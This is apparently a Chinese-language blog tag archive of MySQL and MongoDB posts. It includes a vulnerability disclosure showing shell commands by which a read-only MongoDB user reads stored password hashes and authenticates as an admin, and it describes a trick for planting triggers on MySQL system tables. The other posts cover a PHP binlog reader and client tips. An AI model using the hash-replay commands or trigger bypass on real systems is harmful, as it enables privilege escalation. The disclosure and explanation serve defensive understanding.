Tag Archives: mysql

MongoDB 权限提升安全漏洞

mongodb 可以通过 readOnly 参数建立只读和可以读写的用户。但是只读用户也可以访问 db.system.user,所以可以拿到所有用户的密码的 hash 值。按照协议,只需要传递这个 hash ,而不用知道密码就能通过认证。所以,只读用户就可以由此获取可写的权限。

如:

> db.system.users.find()
{ "_id" : ObjectId("4fd068ae34ae311cd063f9b2"), "user" : "sa", "readOnly" : false, "pwd" : "84c689ded211fb631fd5f5dedc5d4539" }
{ "_id" : ObjectId("4fd07496cf5f726c2428ac3a"), "user" : "ro", "readOnly" : true, "pwd" : "d8883d4475561e209dda05a54a98c8f6" }
> db.$cmd.findOne({getnonce:1})
{ "nonce" : "9892be9572e9851e", "ok" : 1 }
> db.runCommand({ authenticate : 1, user : "sa", nonce : "9892be9572e9851e", key : hex_md5("9892be9572e9851e"+"sa"+"84c689ded211fb631fd5f5dedc5d4539") })
{ "ok" : 1 }

这样就获取了可写的用户的权限。

已经提交 bug https://jira.mongodb.org/browse/SERVER-6031 据说会在 2.1.1 中修复。

这种漏洞属于协议设计方面的漏洞。关键在于使用数据库中保存的 hash 串就能完成认证,而无须知道密码。如果保存的是经过两次 hash,就能避免这样的问题。mysql 在 4.0 – 4.1 在认证上的修改也是如此。mongodb 咋还掉进前人掉过的坑呢。或者禁止只读用户访问 system.users 也行。

mysql 的认证方式是这样的:

服务器端储存了 sha1(sha1(password)) ,也就是 sha1(hash1)。

服务端给客户端发一个随机串 scramble,客户端计算 hash1 = sha1(password);hash2 = sha1(scramble + sha1(hash1))。然后发送 token = hash1 xor hash2 到服务器端。

服务器端计算 hash1′ = token xor sha1(scramble + mysql.user.password)) ,然后计算 sha1(hash1′) ,和储存的 sha1(hash1) 比较,如果相同就通过验证。

这样即使获取了存放的 hash 值也无法构造出请求。不过这种方式关键点在 hash1,如果能在获取存放的 hash 值的同时,能监听到通信的话,还是可以通过获取一次请求中的 scramble 和 token 来计算出 hash1 。之后就可以通过认证了。

给 mysql 系统表加上 trigger

默认情况下,mysql 是不能给系统表,例如 mysql.user 加上触发器的。会提示

ERROR 1465 (HY000): Triggers can not be created on system tables

但是还是可以有办法绕过这个限制。

在其他 db 里另外建一个结构名字一样的表,例如

create table test.user like mysql.user

然后在那个表上建好触发器。这样会在数据库目录中生成 “表名.TRG” 文件。把这个文件拷贝到 mysql 库的目录中,确认访问权限没问题后,重启一下 mysql ,触发器就可以生效了。

读取 mysql binlog 开始和结束时间

mysql binlog 记录了所有可能涉及更新的操作,可以用来作为增量备份的一种选择。为了管理 binlog ,需要读取每个 binlog 文件的准确的开始和结束时间。用 mysqlbinlog 工具可以解析 binlog 文件,所以也可以通过分析输出结果来获取。但是 mysqlbinlog 只能顺序读取记录,如果只是分析开始时间还好,要分析结束时间,就必须等它把整个 binlog 处理完。在 binlog 文件体积大的时候,代价就大了些。好在 mysql 对 binlog 文件的格式是公开的,所以我们可以直接通过解析文件自己实现。

binlog 文件的格式在 http://forge.mysql.com/wiki/MySQL_Internals_Binary_Log 可以找到。每个 binlog 文件都有相同的开头:0xfe 0x62 0x69 0x6e 。也就是 0xfe 后面加上 bin 。之后,就是一个个事件数据。binlog 的事件类型有很多种,但每个 binlog 文件的第一个事件一定是格式描述事件(format description event),描述了 binlog 文件格式版本信息;最后一个时间一定是轮转事件(rotate event),记录了下一个 binlog 的文件名和事件开始偏移位置。每个事件都有一个一致的事件头,其中就有事件的时间戳、事件类型等。读取第一个事件和最后一个事件的信息就可以获取 binlog 文件的准确开始和结束时间了。

读取第一个事件 format description event 要容易一些,seek 跳过文件头,读取事件头就行了。读取最后一个事件的时间要稍麻烦些。因为事件的长度是不固定的。对于轮转事件来说,除了事件头以外,后面还有一个 64位整数的开始位置偏移量以及下一个 binlog 的文件名。长度不确定的部分就是最后的文件名部分。好在那个偏移量是一个固定的值:4(也就是跳过文件头),所以可以从后往前读取,用它来作为标记,检查是否读完了文件名。然后就可以跳过文件名和偏移量,读取最后一个事件的事件头了。

php 代码如下:

<?php
/**
 * read binlog info
 *
 * A mysql binlog file is begin with a head "\xfebin" and then log evnets. The
 * first event is a format description event, the last event is a rotate event.
 *
 * For more infomation about mysql binlog format, see http://forge.mysql.com/wiki/MySQL_Internals_Binary_Log
 */
class BinlogInfo {
    const EVENT_HEAD_SIZE = 19;
    const FORMAT_DESCRIPTION_EVENT_DATA_SIZE = 59;
    const BINLOG_HEAD = "\xfebin";
    const FORMAT_DESCRIPTION_EVENT = 15;
    const ROTATE_EVENT = 4;

    private $eventHeadPackStr = '';
    private $formatDescriptionEventDataPackStr = '';

    function __construct() {
        $this->eventHeadPackStr = $this->eventHeadPackStr();
        $this->formatDescriptionEventDataPackStr = $this->formatDescriptionEventDataPackStr();
    }

    protected function eventHeadPackStr() {
        $event_header_struct = array(
            'timestamp' => 'l',
            'type_code' => 'c',
            'server_id' => 'l',
            'event_length' => 'l',
            'next_position' => 'l',
            'flags' => 's',
        );
        return $this->toPackStr($event_header_struct);
    }

    protected function formatDescriptionEventDataPackStr() {
        $format_description_event_data_struct = array(
            'binlog_version' => 's',
            'server_version' => 'a50',
            'create_timestamp' => 'l',
            'head_length' => 'c'
        );
        return $this->toPackStr($format_description_event_data_struct);
    }

    protected function toPackStr($arr) {
        $ret = '';
        foreach ($arr as $k=>$v) {
            $ret.= '/'.$v.$k;
        }
        $ret = substr($ret, 1);
        return $ret;
    }

    /**
     * @param resource $file
     *
     * Mysql binlog file begin with a 4 bytes head: "\xfebin". 
     */
    protected function isBinlog($file) {
        rewind($file);
        $head = fread($file, strlen(self::BINLOG_HEAD));
        return $head == self::BINLOG_HEAD;
    }

    /**
     * @param resource $file
     *
     * Format description event is the first event of a binlog file
     */
    protected function readFormatDescriptionEvent($file) {
        fseek($file, strlen(self::BINLOG_HEAD), SEEK_SET);
        $head_str = fread($file, self::EVENT_HEAD_SIZE);
        $head = unpack($this->eventHeadPackStr, $head_str);
        if ($head['type_code'] != self::FORMAT_DESCRIPTION_EVENT) {
            return null;
        }
        $data_str= fread($file, self::FORMAT_DESCRIPTION_EVENT_DATA_SIZE);
        $data = unpack($this->formatDescriptionEventDataPackStr, $data_str);

        return array('head'=>$head, 'data'=>$data);
    }

    /**
     * @param resource $file
     * 
     * Rotate event is the last event of a binglog.
     * After event header, there is a 64bit int indicate the first event
     * position of next binlog file and next binlog file name without \0 at end.
     * The position is always be 4 (hex: 0400000000000000).
     * 
     */
    protected function readRotateEvent($file)
    {
        /**
         * Rotate event size is 19(head size) + 8(pos) + len(filename).
         * 100 bytes can contain a filename which length less than 73 bytes and
         * it is short than the length of format description event so filesize -
         * bufsize will never be negative.
         */
        $bufsize = 100; 
        $size_pos = 8;
        fseek($file, -$bufsize, SEEK_END);
        $buf = fread($file, $bufsize);
        $min_begin = strlen(self::BINLOG_HEAD) + self::EVENT_HEAD_SIZE + $size_pos;
        $ok = false;
        for ($i = $bufsize - 1; $i > $min_begin; $i--) {
            if ($buf[$i] == "\0") {
                $ok = true;
                break;
            }
        }
        if (!$ok) {
            return null;
        }
        $next_filename = substr($buf, $i + 1);

        $head_str = substr($buf, $i + 1 - $size_pos - self::EVENT_HEAD_SIZE, self::EVENT_HEAD_SIZE);
        $head = unpack($this->eventHeadPackStr, $head_str);
        if ($head['type_code'] != self::ROTATE_EVENT) {
            return null;
        }
        return array('head'=>$head, 'nextFile'=>$next_filename);
    }

    /**
     * @param string $path path to binlog file
     */
    function read($path) {
        $file = fopen($path, 'r');
        if (!$file) {
            return null;
        }
        if (!$this->isBinlog($file)) {
            fclose($file);
            return null;
        }

        $fde = $this->readFormatDescriptionEvent($file);
        $re = $this->readRotateEvent($file);
        fclose($file);
        return array(
            'beginAt' => $fde['head']['timestamp'],
            'endAt' => $re['head']['timestamp'],
            'nextFile' => $re['nextFile'],
            'serverVersion' => $fde['data']['server_version'],
        );
    }
}

笔记一下

重启 mysql 时,先
update mysql.user set user=xxx_x where user=xxx;
flush priveleges;
启动之后再update 回来
因为shutdown之前 会把redo log里的脏数据刷到表空间
数据量大的情况下,如果这时候前台还有请求的话,这个过程会非常漫长
一般来说 set global read_only=1; 也可以解决问题

感谢showsa提供这个技巧

 

明白某些发行版里自带的 apache 里,vhosts 分了 site-avaliable 和 site-enabled 有什么好处了。

这样方便在所有的服务器上自动化部署相同的程序代码和 apache 相关的 vhost 配置。哪些服务器上具体跑哪些站点只需要把 site-avaliable 里需要启用的链接到 site-enabled 里就行了。在服务器多的时候就会方便管理。

 

mysql命令行客户端结果分页浏览

一个mysql命令行客户端的一个小技巧

在mysql命令行客户端操作的时候,有时候一个语句的结果一长~~~~串,然后就没得看了,还会把之前的东西全冲掉。

mysql的命令行客户端有这么一个功能,可以选择查询结果的page方式。比如用P less,就会用less来显示查询结果,就可以上下滚动翻页了。同样的,也可以用more或者其他什么东西,甚至可以用自己的脚本来做一些处理。如果想换回标准的,直接P就可以了。P是page的简写,所以喜欢更清晰的也可以用page。

另一个技巧知道的人多一些

在语句最后用G代替;就会让查询结果垂直输出,对于有很多列的结果比如explain,会清晰一些。

导出错误编码的mysql数据库

有一个数据库,定义的编码是utf8,但由于程序里没set names utf8,结果是按latin1插入的。虽然显示没问题,但实际储存的是堆奇怪的东西,直接mysqldump出来是乱码,完全没法用。

后来发现,set names latin1之后,查询出来的东西是正常的,于是试着给mysqldump加上–default-character-set=latin1 –set-charset参数。导出来的文件果然就正常了。之后,去掉sql文件中的那行latin1的东西,再导进新的库里,一切正常。